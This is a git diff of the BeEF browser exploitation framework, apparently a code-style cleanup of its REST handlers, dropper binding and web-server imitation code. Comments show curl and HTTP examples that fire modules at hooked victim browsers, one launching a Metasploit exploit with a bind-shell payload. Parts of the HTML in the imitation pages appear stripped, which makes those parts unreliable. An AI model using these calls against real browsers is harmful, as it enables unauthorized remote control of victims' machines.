HTTP/1.1 + # Host: 127.0.0.1:3000 #===response (snip)=== - #HTTP/1.1 200 OK - #Content-Type: application/json; charset=UTF-8 + # HTTP/1.1 200 OK + # Content-Type: application/json; charset=UTF-8 # - #{"date":"1331637093","data":"{\"data\":\"text=michele\"}"} + # {"date":"1331637093","data":"{\"data\":\"text=michele\"}"} # get '/:session/:mod_id/:cmd_id' do - hb = BeEF::Core::Models::HookedBrowser.where(:session => params[:session]).first - error 401 unless hb != nil - cmd = BeEF::Core::Models::Command.where(:hooked_browser_id => hb.id, - :command_module_id => params[:mod_id], :id => params[:cmd_id]).first - error 404 unless cmd != nil - results = BeEF::Core::Models::Result.where(:hooked_browser_id => hb.id, :command_id => cmd.id) - error 404 unless results != nil + hb = BeEF::Core::Models::HookedBrowser.where(session: params[:session]).first + error 401 if hb.nil? + cmd = BeEF::Core::Models::Command.where(hooked_browser_id: hb.id, + command_module_id: params[:mod_id], id: params[:cmd_id]).first + error 404 if cmd.nil? + results = BeEF::Core::Models::Result.where(hooked_browser_id: hb.id, command_id: cmd.id) + error 404 if results.nil? results_hash = {} i = 0 results.each do |result| results_hash[i] = { - 'date' => result.date, - 'data' => result.data + 'date' => result.date, + 'data' => result.data } - i+=1 + i += 1 end results_hash.to_json end @@ -107,56 +105,56 @@ class Modules < BeEF::Core::Router::Router # Input must be specified in JSON format # # +++ Example with the Alert Dialog: +++ - #POST /api/modules/wiJCKAJybcB6aXZZOj31UmQKhbKXY63aNBeODl9kvkIuYLmYTooeGeRD7Xn39x8zOChcUReM3Bt7K0xj/86?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1 - #Host: 127.0.0.1:3000 - #Content-Type: application/json; charset=UTF-8 - #Content-Length: 18 + # POST /api/modules/wiJCKAJybcB6aXZZOj31UmQKhbKXY63aNBeODl9kvkIuYLmYTooeGeRD7Xn39x8zOChcUReM3Bt7K0xj/86?token=5b17be64715a184d66e563ec9355ee758912a61d HTTP/1.1 + # Host: 127.0.0.1:3000 + # Content-Type: application/json; charset=UTF-8 + # Content-Length: 18 # - #{"text":"michele"} + # {"text":"michele"} #===response (snip)=== - #HTTP/1.1 200 OK - #Content-Type: application/json; charset=UTF-8 - #Content-Length: 35 + # HTTP/1.1 200 OK + # Content-Type: application/json; charset=UTF-8 + # Content-Length: 35 # - #{"success":"true","command_id":"1"} + # {"success":"true","command_id":"1"} # # +++ Example with a Metasploit module (Adobe FlateDecode Stream Predictor 02 Integer Overflow) +++ # +++ note that in this case we cannot query BeEF/Metasploit if module execution was successful or not. # +++ this is why there is "command_id":"not_available" in the response - #POST /api/modules/wiJCKAJybcB6aXZZOj31UmQKhbKXY63aNBeODl9kvkIuYLmYTooeGeRD7Xn39x8zOChcUReM3Bt7K0xj/236?token=83f13036060fd7d92440432dd9a9b5e5648f8d75 HTTP/1.1 - #Host: 127.0.0.1:3000 - #Content-Type: application/json; charset=UTF-8 - #Content-Length: 81 + # POST /api/modules/wiJCKAJybcB6aXZZOj31UmQKhbKXY63aNBeODl9kvkIuYLmYTooeGeRD7Xn39x8zOChcUReM3Bt7K0xj/236?token=83f13036060fd7d92440432dd9a9b5e5648f8d75 HTTP/1.1 + # Host: 127.0.0.1:3000 + # Content-Type: application/json; charset=UTF-8 + # Content-Length: 81 # - #{"SRVPORT":"3992", "URIPATH":"77345345345dg", "PAYLOAD":"generic/shell_bind_tcp"} + # {"SRVPORT":"3992", "URIPATH":"77345345345dg", "PAYLOAD":"generic/shell_bind_tcp"} #===response (snip)=== - #HTTP/1.1 200 OK - #Content-Type: application/json; charset=UTF-8 - #Content-Length: 35 + # HTTP/1.1 200 OK + # Content-Type: application/json; charset=UTF-8 + # Content-Length: 35 # - #{"success":"true","command_id":"not_available"} + # {"success":"true","command_id":"not_available"} # post '/:session/:mod_id' do - hb = BeEF::Core::Models::HookedBrowser.where(:session => params[:session]).first - error 401 unless hb != nil + hb = BeEF::Core::Models::HookedBrowser.where(session: params[:session]).first + error 401 if hb.nil? modk = BeEF::Module.get_key_by_database_id(params[:mod_id]) - error 404 unless modk != nil + error 404 if modk.nil? request.body.rewind begin data = JSON.parse request.body.read options = [] - data.each{|k,v| options.push({'name' => k, 'value' => v})} + data.each { |k, v| options.push({ 'name' => k, 'value' => v }) } exec_results = BeEF::Module.execute(modk, params[:session], options) - exec_results != nil ? '{"success":"true","command_id":"'+exec_results.to_s+'"}' : '{"success":"false"}' - rescue => e + exec_results.nil? ? '{"success":"false"}' : '{"success":"true","command_id":"' + exec_results.to_s + '"}' + rescue StandardError print_error "Invalid JSON input for module '#{params[:mod_id]}'" error 400 # Bad Request end end # - #@note Fire a new command module to multiple hooked browsers. + # @note Fire a new command module to multiple hooked browsers. # Returns the command IDs of the launched module, or 0 if firing got issues. # Use "hb_ids":["ALL"] to run on all hooked browsers # Use "hb_ids":["ALL_ONLINE"] to run on all hooked browsers currently online @@ -174,7 +172,7 @@ class Modules < BeEF::Core::Router::Router # # curl example (alert module with custom text, 2 hooked browsers)): # - #curl -H "Content-Type: application/json; charset=UTF-8" -d '{"mod_id":110,"mod_params":{"text":"mucci?"},"hb_ids":[1,2]}' + # curl -H "Content-Type: application/json; charset=UTF-8" -d '{"mod_id":110,"mod_params":{"text":"mucci?"},"hb_ids":[1,2]}' #-X POST http://127.0.0.1:3000/api/modules/multi_browser?token=2316d82702b83a293e2d46a0886a003a6be0a633 # post '/multi_browser' do @@ -182,34 +180,35 @@ class Modules < BeEF::Core::Router::Router begin body = JSON.parse request.body.read - modk = BeEF::Module.get_key_by_database_id body["mod_id"] - error 404 unless modk != nil + modk = BeEF::Module.get_key_by_database_id body['mod_id'] + error 404 if modk.nil? mod_params = [] - if body["mod_params"] != nil - body["mod_params"].each{|k,v| - mod_params.push({'name' => k, 'value' => v}) - } + unless body['mod_params'].nil? + body['mod_params'].each do |k, v| + mod_params.push({ 'name' => k, 'value' => v }) + end end - hb_ids = body["hb_ids"] - results = Hash.new + hb_ids = body['hb_ids'] + results = {} # run on all hooked browsers currently online? if hb_ids.first =~ /\Aall_online\z/i hb_ids = [] BeEF::Core::Models::HookedBrowser.where( - :lastseen.gte => (Time.new.to_i - 15)).each {|hb| hb_ids << hb.id } + :lastseen.gte => (Time.new.to_i - 15) + ).each { |hb| hb_ids << hb.id } # run on all hooked browsers? elsif hb_ids.first =~ /\Aall\z/i hb_ids = [] - BeEF::Core::Models::HookedBrowser.all.each {|hb| hb_ids << hb.id } + BeEF::Core::Models::HookedBrowser.all.each { |hb| hb_ids << hb.id } end # run modules hb_ids.each do |hb_id| hb = BeEF::Core::Models::HookedBrowser.find(hb_id) - if hb == nil + if hb.nil? results[hb_id] = 0 next else @@ -218,8 +217,8 @@ class Modules < BeEF::Core::Router::Router end end results.to_json - rescue => e - print_error "Invalid JSON input passed to endpoint /api/modules/multi_browser" + rescue StandardError + print_error 'Invalid JSON input passed to endpoint /api/modules/multi_browser' error 400 # Bad Request end end @@ -228,7 +227,7 @@ class Modules < BeEF::Core::Router::Router # Returns the command IDs of the launched modules, or 0 if firing got issues. # # POST request body example (for modules that don't need parameters, just pass an empty JSON object like {} ) - #{ "hb":"vkIwVV3ok5i5vH2f8sxlkoaKqAGKCbZXdWqE9vkHNFBhI8aBBHvtZAGRO2XqFZXxThBlmKlRiVwPeAzj", + # { "hb":"vkIwVV3ok5i5vH2f8sxlkoaKqAGKCbZXdWqE9vkHNFBhI8aBBHvtZAGRO2XqFZXxThBlmKlRiVwPeAzj", # "modules": [ # { # test_return_long_string module with custom input # "mod_id":99, @@ -248,7 +247,7 @@ class Modules < BeEF::Core::Router::Router # # curl example (test_return_long_string and prompt_dialog module with custom inputs)): # - #curl -H "Content-Type: application/json; charset=UTF-8" -d '{"hb":"vkIwVV3ok5i5vH2f8sxlkoaKqAGKCbZXdWqE9vkHNFBhI8aBBHvtZAGRO2XqFZXxThBlmKlRiVwPeAzj", + # curl -H "Content-Type: application/json; charset=UTF-8" -d '{"hb":"vkIwVV3ok5i5vH2f8sxlkoaKqAGKCbZXdWqE9vkHNFBhI8aBBHvtZAGRO2XqFZXxThBlmKlRiVwPeAzj", # "modules":[{"mod_id":99,"mod_input":[{"repeat":"10"},{"repeat_string":"ABCDE"}]},{"mod_id":116,"mod_input":[{"question":"hooked?"}]},{"mod_id":128,"mod_input":[]}]}' # -X POST http://127.0.0.1:3000/api/modules/multi_module?token=e640483ae9bca2eb904f003f27dd4bc83936eb92 # @@ -256,32 +255,32 @@ class Modules < BeEF::Core::Router::Router request.body.rewind begin body = JSON.parse request.body.read - hb = BeEF::Core::Models::HookedBrowser.where(:session => body["hb"]).first - error 401 unless hb != nil + hb = BeEF::Core::Models::HookedBrowser.where(session: body['hb']).first + error 401 if hb.nil? - results = Hash.new - if body["modules"] != nil - body["modules"].each{|mod| - mod_id = mod["mod_id"] - mod_k = BeEF::Module.get_key_by_database_id mod["mod_id"] - if mod_k == nil + results = {} + unless body['modules'].nil? + body['modules'].each do |mod| + mod_id = mod['mod_id'] + mod_k = BeEF::Module.get_key_by_database_id mod['mod_id'] + if mod_k.nil? results[mod_id] = 0 next else mod_params = [] - mod["mod_input"].each{|input| - input.each{|k,v| - mod_params.push({'name' => k, 'value' => v}) - } - } + mod['mod_input'].each do |input| + input.each do |k, v| + mod_params.push({ 'name' => k, 'value' => v }) + end + end cmd_id = BeEF::Module.execute(mod_k, hb.session, mod_params) results[mod_id] = cmd_id end - } + end end results.to_json - rescue => e - print_error "Invalid JSON input passed to endpoint /api/modules/multi" + rescue StandardError + print_error 'Invalid JSON input passed to endpoint /api/modules/multi' error 400 # Bad Request end end diff --git a/core/main/rest/handlers/server.rb b/core/main/rest/handlers/server.rb index 042b63bc78..e2bd4d2ec5 100644 --- a/core/main/rest/handlers/server.rb +++ b/core/main/rest/handlers/server.rb @@ -8,20 +8,18 @@ module BeEF module Core module Rest class Server < BeEF::Core::Router::Router - config = BeEF::Core::Configuration.instance http_server = BeEF::Core::Server.instance before do error 401 unless params[:token] == config.get('beef.api_token') - halt 401 if not BeEF::Core::Rest.permitted_source?(request.ip) + halt 401 unless BeEF::Core::Rest.permitted_source?(request.ip) headers 'Content-Type' => 'application/json; charset=UTF-8', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Expires' => '0' end - # @note Binds a local file to a specified path in BeEF's web server # Note: 'local_file' expects a file from the /extensions/social_engineering/droppers directory. # Example usage: @@ -35,17 +33,17 @@ class Server < BeEF::Core::Router::Router mount = data['mount'] local_file = data['local_file'] - droppers_dir = File.expand_path('..', __FILE__) + "/../../../../extensions/social_engineering/droppers/" + droppers_dir = "#{File.expand_path(__dir__)}/../../../../extensions/social_engineering/droppers/" - if File.exists?(droppers_dir + local_file) && Dir.entries(droppers_dir).include?(local_file) - f_ext = File.extname(local_file).gsub('.','') + if File.exist?(droppers_dir + local_file) && Dir.entries(droppers_dir).include?(local_file) + f_ext = File.extname(local_file).gsub('.', '') f_ext = nil if f_ext.empty? BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind("/extensions/social_engineering/droppers/#{local_file}", mount, f_ext) status 200 else halt 400 end - rescue => e + rescue StandardError error 400 end end diff --git a/core/main/router/api.rb b/core/main/router/api.rb index 94d9868f45..972dea8939 100644 --- a/core/main/router/api.rb +++ b/core/main/router/api.rb @@ -6,7 +6,6 @@ module BeEF module Core module Router - module RegisterRouterHandler def self.mount_handler(server) server.mount('/', BeEF::Core::Router::Router.new) @@ -14,7 +13,6 @@ def self.mount_handler(server) end BeEF::API::Registrar.instance.register(BeEF::Core::Router::RegisterRouterHandler, BeEF::API::Server, 'mount_handler') - end end end diff --git a/core/main/router/error_responses.rb b/core/main/router/error_responses.rb index 584e5ef802..34c3d66316 100644 --- a/core/main/router/error_responses.rb +++ b/core/main/router/error_responses.rb @@ -1,68 +1,66 @@ module BeEF module Core module Router - config = BeEF::Core::Configuration.instance - APACHE_HEADER = { "Server" => "Apache/2.2.3 (CentOS)", - "Content-Type" => "text/html; charset=UTF-8" } - APACHE_BODY = "" + - "" + - "404 Not Found" + - "" + - "

Not Found

" + - "

The requested URL was not found on this server.

" + - "
" + - "
Apache/2.2.3 (CentOS)
" + - ("" if config.get("beef.http.web_server_imitation.hook_404")).to_s + - "" - IIS_HEADER = {"Server" => "Microsoft-IIS/6.0", - "X-Powered-By" => "ASP.NET", - "Content-Type" => "text/html; charset=UTF-8"} - IIS_BODY = "" + - "The page cannot be found" + - "" + - "" + - "
" + - "

The page cannot be found

" + - "The page you are looking for might have been removed, had its name changed, or is temporarily unavailable." + - "
" + - "

Please try the following:

" + - "
    " + - "
  • Make sure that the Web site address displayed in the address bar of your browser is spelled and formatted correctly.
  • " + - "
  • If you reached this page by clicking a link, contact" + - " the Web site administrator to alert them that the link is incorrectly formatted." + - "
  • " + - "
  • Click the Back button to try another link.
  • " + - "
" + - "

HTTP Error 404 - File or directory not found.
Internet Information Services (IIS)

" + - "
" + - "

Technical Information (for support personnel)

" + - "
    " + - "
  • Go to Microsoft Product Support Services and perform a title search for the words HTTP and 404.
  • " + - "
  • Open IIS Help, which is accessible in IIS Manager (inetmgr)," + - "and search for topics titled Web Site Setup, Common Administrative Tasks, and About Custom Error Messages.
  • " + - "
" + - "
" + - ("" if config.get("beef.http.web_server_imitation.hook_404")).to_s + - "" - NGINX_HEADER = {"Server" => "nginx", - "Content-Type" => "text/html"} - NGINX_BODY = "\n"+ - "404 Not Found\n" + - "\n" + - "

404 Not Found

\n" + - "
nginx
\n" + - ("" if config.get("beef.http.web_server_imitation.hook_404")).to_s + - "\n" + - "\n" - + APACHE_HEADER = { 'Server' => 'Apache/2.2.3 (CentOS)', + 'Content-Type' => 'text/html; charset=UTF-8' }.freeze + APACHE_BODY = '' \ + '' \ + '404 Not Found' \ + '' \ + '

Not Found

' \ + '

The requested URL was not found on this server.

' \ + '
' \ + '
Apache/2.2.3 (CentOS)
' + + ("" if config.get('beef.http.web_server_imitation.hook_404')).to_s + + '' + IIS_HEADER = { 'Server' => 'Microsoft-IIS/6.0', + 'X-Powered-By' => 'ASP.NET', + 'Content-Type' => 'text/html; charset=UTF-8' }.freeze + IIS_BODY = '' \ + 'The page cannot be found' \ + '' \ + '' \ + '
' \ + '

The page cannot be found

' \ + 'The page you are looking for might have been removed, had its name changed, or is temporarily unavailable.' \ + '
' \ + '

Please try the following:

' \ + '
    ' \ + '
  • Make sure that the Web site address displayed in the address bar of your browser is spelled and formatted correctly.
  • ' \ + '
  • If you reached this page by clicking a link, contact' \ + ' the Web site administrator to alert them that the link is incorrectly formatted.' \ + '
  • ' \ + '
  • Click the Back button to try another link.
  • ' \ + '
' \ + '

HTTP Error 404 - File or directory not found.
Internet Information Services (IIS)

' \ + '
' \ + '

Technical Information (for support personnel)

' \ + '
    ' \ + '
  • Go to Microsoft Product Support Services and perform a title search for the words HTTP and 404.
  • ' \ + '
  • Open IIS Help, which is accessible in IIS Manager (inetmgr),' \ + 'and search for topics titled Web Site Setup, Common Administrative Tasks, and About Custom Error Messages.
  • ' \ + '
' \ + '
' + + ("" if config.get('beef.http.web_server_imitation.hook_404')).to_s + + '' + NGINX_HEADER = { 'Server' => 'nginx', + 'Content-Type' => 'text/html' }.freeze + NGINX_BODY = "\n" \ + "404 Not Found\n" \ + "\n" \ + "

404 Not Found

\n" \ + "
nginx
\n" + + ("" if config.get('beef.http.web_server_imitation.hook_404')).to_s + + "\n" \ + "\n" end end end diff --git a/core/main/router/router.rb b/core/main/router/router.rb index 5aa7dc9745..915221b99d 100644 --- a/core/main/router/router.rb +++ b/core/main/router/router.rb @@ -7,11 +7,9 @@ module BeEF module Core module Router - - #@note This is the main Router parent class. - #@note All the HTTP handlers registered on BeEF will extend this class. + # @note This is the main Router parent class. + # @note All the HTTP handlers registered on BeEF will extend this class. class Router < Sinatra::Base - config = BeEF::Core::Configuration.instance configure do set :show_exceptions, false @@ -19,240 +17,239 @@ class Router < Sinatra::Base # @note Override default 404 HTTP response not_found do - if config.get("beef.http.web_server_imitation.enable") - type = config.get("beef.http.web_server_imitation.type") + if config.get('beef.http.web_server_imitation.enable') + type = config.get('beef.http.web_server_imitation.type') case type - when "apache" - #response body - BeEF::Core::Router::APACHE_BODY - when "iis" - #response body - BeEF::Core::Router::IIS_BODY - when "nginx" - #response body - BeEF::Core::Router::NGINX_BODY - else - "Not Found." + when 'apache' + # response body + BeEF::Core::Router::APACHE_BODY + when 'iis' + # response body + BeEF::Core::Router::IIS_BODY + when 'nginx' + # response body + BeEF::Core::Router::NGINX_BODY + else + 'Not Found.' end else - "Not Found." + 'Not Found.' end end before do # @note Override Server HTTP response header - if config.get("beef.http.web_server_imitation.enable") - type = config.get("beef.http.web_server_imitation.type") + if config.get('beef.http.web_server_imitation.enable') + type = config.get('beef.http.web_server_imitation.type') case type - when "apache" - headers BeEF::Core::Router::APACHE_HEADER - when "iis" - headers BeEF::Core::Router::IIS_HEADER - when "nginx" - headers BeEF::Core::Router::NGINX_HEADER - else - headers "Server" => '', - "Content-Type" => "text/html" - print_error "You have an error in beef.http.web_server_imitation.type!" - print_more "Supported values are: apache, iis, nginx." + when 'apache' + headers BeEF::Core::Router::APACHE_HEADER + when 'iis' + headers BeEF::Core::Router::IIS_HEADER + when 'nginx' + headers BeEF::Core::Router::NGINX_HEADER + else + headers 'Server' => '', + 'Content-Type' => 'text/html' + print_error 'You have an error in beef.http.web_server_imitation.type!' + print_more 'Supported values are: apache, iis, nginx.' end end # @note If CORS is enabled, expose the appropriate headers - if config.get("beef.http.restful_api.allow_cors") - allowed_domains = config.get("beef.http.restful_api.cors_allowed_domains") + if config.get('beef.http.restful_api.allow_cors') + allowed_domains = config.get('beef.http.restful_api.cors_allowed_domains') # Responses to preflight OPTIONS requests need to respond with hTTP 200 # and be able to handle requests with a JSON content-type if request.request_method == 'OPTIONS' - headers "Access-Control-Allow-Origin" => allowed_domains, - "Access-Control-Allow-Methods" => "POST, GET", - "Access-Control-Allow-Headers" => "Content-Type" + headers 'Access-Control-Allow-Origin' => allowed_domains, + 'Access-Control-Allow-Methods' => 'POST, GET', + 'Access-Control-Allow-Headers' => 'Content-Type' halt 200 end - headers "Access-Control-Allow-Origin" => allowed_domains, - "Access-Control-Allow-Methods" => "POST, GET" + headers 'Access-Control-Allow-Origin' => allowed_domains, + 'Access-Control-Allow-Methods' => 'POST, GET' end end # @note Default root page - get "/" do - if config.get("beef.http.web_server_imitation.enable") - bp = config.get "beef.extension.admin_ui.base_path" - type = config.get("beef.http.web_server_imitation.type") + get '/' do + if config.get('beef.http.web_server_imitation.enable') + bp = config.get 'beef.extension.admin_ui.base_path' + type = config.get('beef.http.web_server_imitation.type') case type - when "apache" - "" + - "" + - "Apache HTTP Server Test Page powered by CentOS" + - "" + - " " + - " " + - " " + - "

Apache 2 Test Page
powered by CentOS

" + - "
" +"
" + - "

This page is used to test the proper operation of the Apache HTTP server after it has been installed. If you can read this page it means that the Apache HTTP server installed at this site is working properly.

" + - "
" + - "
" + - "
" + - "
" + - "

If you are a member of the general public:

" + - "

The fact that you are seeing this page indicates that the website you just visited is either experiencing problems or is undergoing routine maintenance.

" + - "

If you would like to let the administrators of this website know that you've seen this page instead of the page you expected, you should send them e-mail. In general, mail sent to the name \"webmaster\" and directed to the website's domain should reach the appropriate person.

" + - "

For example, if you experienced problems while visiting www.example.com, you should send e-mail to \"webmaster@example.com\".

" + - "
" + - "
" + - "

If you are the website administrator:

" + - "

You may now add content to the directory /var/www/html/. Note that until you do so, people visiting your website will see this page and not your content. To prevent this page from ever being used, follow the instructions in the file /etc/httpd/conf.d/welcome.conf.

" + - "

You are free to use the images below on Apache and CentOS Linux powered HTTP servers. Thanks for using Apache and CentOS!

" + - "

\"[ \"[

" + - "
" + - "
" + - "
" + - "
" + - "

About CentOS:

The Community ENTerprise Operating System (CentOS) is an Enterprise-class Linux Distribution derived from sources freely provided to the public by a prominent North American Enterprise Linux vendor. CentOS conforms fully with the upstream vendors redistribution policy and aims to be 100% binary compatible. (CentOS mainly changes packages to remove upstream vendor branding and artwork.) The CentOS Project is the organization that builds CentOS.

" + - "

For information on CentOS please visit the CentOS website.

" + - "

Note:

CentOS is an Operating System and it is used to power this website; however, the webserver is owned by the domain owner and not the CentOS Project. If you have issues with the content of this site, contact the owner of the domain, not the CentOS project." + - "

Unless this server is on the CentOS.org domain, the CentOS Project doesn't have anything to do with the content on this webserver or any e-mails that directed you to this site.

" + - "

For example, if this website is www.example.com, you would find the owner of the example.com domain at the following WHOIS server:

" + - "

http://www.internic.net/whois.html

" + - "
" + - "
" + - ("" if config.get("beef.http.web_server_imitation.hook_root")).to_s + - "" + - "" - when "iis" - "" + - "" + - "" + - "Under Construction" + - "" + - "" + - "" + - "" + - "" + - "" + - "
" + - "" + - "" + - "

" + - "

Under Construction

" + - "

" + - "The site you are trying to view does not currently have a default page. It may be in the process of being upgraded and configured." + - "

Please try this site again later. If you still experience the problem, try contacting the Web site administrator." + - "


" + - "

If you are the Web site administrator and feel you have received this message in error, please see "Enabling and Disabling Dynamic Content" in IIS Help." + - "

To access IIS Help
" + - "
    " + - "
  1. Click Start, and then click Run." + - "
  2. In the Open text box, type inetmgr. IIS Manager appears." + - "
  3. From the Help menu, click Help Topics." + - "
  4. Click Internet Information Services.
" + - "
" + - ("" if config.get("beef.http.web_server_imitation.hook_root")).to_s + - "" + - "" - when "nginx" - "\n" + - "\n" + - "\n" + - "Welcome to nginx!\n" + - "\n" + - "\n" + - "\n" + - "

Welcome to nginx!

\n" + - "

If you see this page, the nginx web server is successfully installed and\n" + - "working. Further configuration is required.

\n\n" + - "

For online documentation and support please refer to\n" + - "nginx.org.
\n" + - "Commercial support is available at\n" + - "nginx.com.

\n\n" + - "

Thank you for using nginx.

\n" + - ("" if config.get("beef.http.web_server_imitation.hook_root")).to_s + - "\n" + - "\n" - else - "" + when 'apache' + '' \ + '' \ + 'Apache HTTP Server Test Page powered by CentOS' \ + '' \ + ' ' \ + ' ' \ + ' ' \ + '

Apache 2 Test Page
powered by CentOS

' \ + '
' + '
' \ + '

This page is used to test the proper operation of the Apache HTTP server after it has been installed. If you can read this page it means that the Apache HTTP server installed at this site is working properly.

' \ + '
' \ + '
' \ + '
' \ + '
' \ + '

If you are a member of the general public:

' \ + '

The fact that you are seeing this page indicates that the website you just visited is either experiencing problems or is undergoing routine maintenance.

' \ + "

If you would like to let the administrators of this website know that you've seen this page instead of the page you expected, you should send them e-mail. In general, mail sent to the name \"webmaster\" and directed to the website's domain should reach the appropriate person.

" \ + '

For example, if you experienced problems while visiting www.example.com, you should send e-mail to "webmaster@example.com".

' \ + '
' \ + '
' \ + '

If you are the website administrator:

' \ + '

You may now add content to the directory /var/www/html/. Note that until you do so, people visiting your website will see this page and not your content. To prevent this page from ever being used, follow the instructions in the file /etc/httpd/conf.d/welcome.conf.

' \ + '

You are free to use the images below on Apache and CentOS Linux powered HTTP servers. Thanks for using Apache and CentOS!

' \ + "

\"[ \"[

" \ + '
' \ + '
' \ + '
' \ + '
' \ + '

About CentOS:

The Community ENTerprise Operating System (CentOS) is an Enterprise-class Linux Distribution derived from sources freely provided to the public by a prominent North American Enterprise Linux vendor. CentOS conforms fully with the upstream vendors redistribution policy and aims to be 100% binary compatible. (CentOS mainly changes packages to remove upstream vendor branding and artwork.) The CentOS Project is the organization that builds CentOS.

' \ + '

For information on CentOS please visit the CentOS website.

' \ + '

Note:

CentOS is an Operating System and it is used to power this website; however, the webserver is owned by the domain owner and not the CentOS Project. If you have issues with the content of this site, contact the owner of the domain, not the CentOS project.' \ + "

Unless this server is on the CentOS.org domain, the CentOS Project doesn't have anything to do with the content on this webserver or any e-mails that directed you to this site.

" \ + '

For example, if this website is www.example.com, you would find the owner of the example.com domain at the following WHOIS server:

' \ + '

http://www.internic.net/whois.html

' \ + '
' \ + '
' + + ("" if config.get('beef.http.web_server_imitation.hook_root')).to_s + + '' \ + '' + when 'iis' + '' \ + '' \ + '' \ + 'Under Construction' \ + '' \ + '' \ + '' \ + '' \ + '' \ + '' \ + '
' \ + "" \ + '' \ + '

' \ + '

Under Construction

' \ + '

' \ + 'The site you are trying to view does not currently have a default page. It may be in the process of being upgraded and configured.' \ + '

Please try this site again later. If you still experience the problem, try contacting the Web site administrator.' \ + '


' \ + '

If you are the Web site administrator and feel you have received this message in error, please see "Enabling and Disabling Dynamic Content" in IIS Help.' \ + '

To access IIS Help
' \ + '
    ' \ + '
  1. Click Start, and then click Run.' \ + '
  2. In the Open text box, type inetmgr. IIS Manager appears.' \ + '
  3. From the Help menu, click Help Topics.' \ + '
  4. Click Internet Information Services.
' \ + '
' + + ("" if config.get('beef.http.web_server_imitation.hook_root')).to_s + + '' \ + '' + when 'nginx' + "\n" \ + "\n" \ + "\n" \ + "Welcome to nginx!\n" \ + "\n" \ + "\n" \ + "\n" \ + "

Welcome to nginx!

\n" \ + "

If you see this page, the nginx web server is successfully installed and\n" \ + "working. Further configuration is required.

\n\n" \ + "

For online documentation and support please refer to\n" \ + "nginx.org.
\n" \ + "Commercial support is available at\n" \ + "nginx.com.

\n\n" \ + "

Thank you for using nginx.

\n" + + ("" if config.get('beef.http.web_server_imitation.hook_root')).to_s + + "\n" \ + "\n" + else + '' end end end - end end end diff --git a/core/main/server.rb b/core/main/server.rb index fbc7282df8..05d7c13ea5 100644 --- a/core/main/server.rb +++ b/core/main/server.rb @@ -50,11 +50,11 @@ def mount(url, http_handler_class, args = nil) # argument type checking raise TypeError, '"url" needs to be a string' unless url.string? - if args.nil? - @mounts[url] = http_handler_class - else - @mounts[url] = http_handler_class, *args - end + @mounts[url] = if args.nil? + http_handler_class + else + [http_handler_class, *args] + end print_debug "Server: mounted handler '#{url}'" end @@ -65,6 +65,7 @@ def mount(url, http_handler_class, args = nil) # def unmount(url) raise TypeError, '"url" needs to be a string' unless url.string? + @mounts.delete url end @@ -80,7 +81,7 @@ def remap # def prepare # Create http handler for the javascript hook file - mount(@configuration.get("beef.http.hook_file").to_s, BeEF::Core::Handlers::HookedBrowsers.new) + mount(@configuration.get('beef.http.hook_file').to_s, BeEF::Core::Handlers::HookedBrowsers.new) # Create handler for the initialization checks (Browser Details) mount('/init', BeEF::Core::Handlers::BrowserDetails) @@ -93,7 +94,7 @@ def prepare return if @http_server - # Set the logging level of Thin to match the config + # Set the logging level of Thin to match the config Thin::Logging.silent = true if @configuration.get('beef.http.debug') == true Thin::Logging.silent = false @@ -104,7 +105,8 @@ def prepare @http_server = Thin::Server.new( @configuration.get('beef.http.host'), @configuration.get('beef.http.port'), - @rack_app) + @rack_app + ) # Configure SSL/TLS return unless @configuration.get('beef.http.https.enable') == true @@ -116,18 +118,14 @@ def prepare end cert_key = @configuration.get 'beef.http.https.key' - unless cert_key.start_with? '/' - cert_key = File.expand_path cert_key, $root_dir - end + cert_key = File.expand_path cert_key, $root_dir unless cert_key.start_with? '/' unless File.exist? cert_key print_error "Error: #{cert_key} does not exist" exit 1 end cert = @configuration.get 'beef.http.https.cert' - unless cert.start_with? '/' - cert = File.expand_path cert, $root_dir - end + cert = File.expand_path cert, $root_dir unless cert.start_with? '/' unless File.exist? cert print_error "Error: #{cert} does not exist" exit 1 @@ -135,9 +133,9 @@ def prepare @http_server.ssl = true @http_server.ssl_options = { - :private_key_file => cert_key, - :cert_chain_file => cert, - :verify_peer => false + private_key_file: cert_key, + cert_chain_file: cert, + verify_peer: false } if Digest::SHA256.hexdigest(File.read(cert)).eql?('978f761fc30cbd174eab0c6ffd2d235849260c0589a99262f136669224c8d82a') || @@ -145,10 +143,10 @@ def prepare print_warning 'Warning: Default SSL cert/key in use.' print_more 'Use the generate-certificate utility to generate a new certificate.' end - rescue => e + rescue StandardError => e print_error "Failed to prepare HTTP server: #{e.message}" - print_error e.backtrace - exit 1 + print_error e.backtrace + exit 1 end # @@ -161,6 +159,7 @@ def start rescue RuntimeError => e # port is in use raise unless e.message.include? 'no acceptor' + print_error "Another process is already listening on port #{@configuration.get('beef.http.port')}, or you're trying to bind BeEF to an invalid IP." print_error 'Is BeEF already running? Exiting...' exit 127 diff --git a/core/module.rb b/core/module.rb index f1eae70d26..a30e07f3c9 100644 --- a/core/module.rb +++ b/core/module.rb @@ -5,7 +5,6 @@ # module BeEF module Module - # Checks to see if module key is in configuration # @param [String] mod module key # @return [Boolean] if the module key exists in BeEF's configuration @@ -37,14 +36,14 @@ def self.get_definition(mod) # Gets all module options # @param [String] mod module key # @return [Hash] a hash of all the module options - # @note API Fire: get_options + # @note API Fire: get_options def self.get_options(mod) if BeEF::API::Registrar.instance.matched? BeEF::API::Module, 'get_options', [mod] options = BeEF::API::Registrar.instance.fire BeEF::API::Module, 'get_options', mod mo = [] options.each do |o| unless o[:data].is_a?(Array) - print_debug "API Warning: return result for BeEF::Module.get_options() was not an array." + print_debug 'API Warning: return result for BeEF::Module.get_options() was not an array.' next end mo += o[:data] @@ -68,9 +67,10 @@ def self.get_options(mod) # Gets all module payload options # @param [String] mod module key # @return [Hash] a hash of all the module options - # @note API Fire: get_options - def self.get_payload_options(mod,payload) + # @note API Fire: get_options + def self.get_payload_options(mod, payload) return [] unless BeEF::API::Registrar.instance.matched?(BeEF::API::Module, 'get_payload_options', [mod, nil]) + BeEF::API::Registrar.instance.fire(BeEF::API::Module, 'get_payload_options', mod, payload) end @@ -104,8 +104,8 @@ def self.soft_load(mod) # API call for post-soft-load module BeEF::API::Registrar.instance.fire(BeEF::API::Module, 'post_soft_load', mod) true - rescue => e - print_error "There was a problem soft loading the module '#{mod}'" + rescue StandardError => e + print_error "There was a problem soft loading the module '#{mod}': #{e.message}" false end @@ -143,7 +143,7 @@ def self.hard_load(mod) # API call for post-hard-load module BeEF::API::Registrar.instance.fire(BeEF::API::Module, 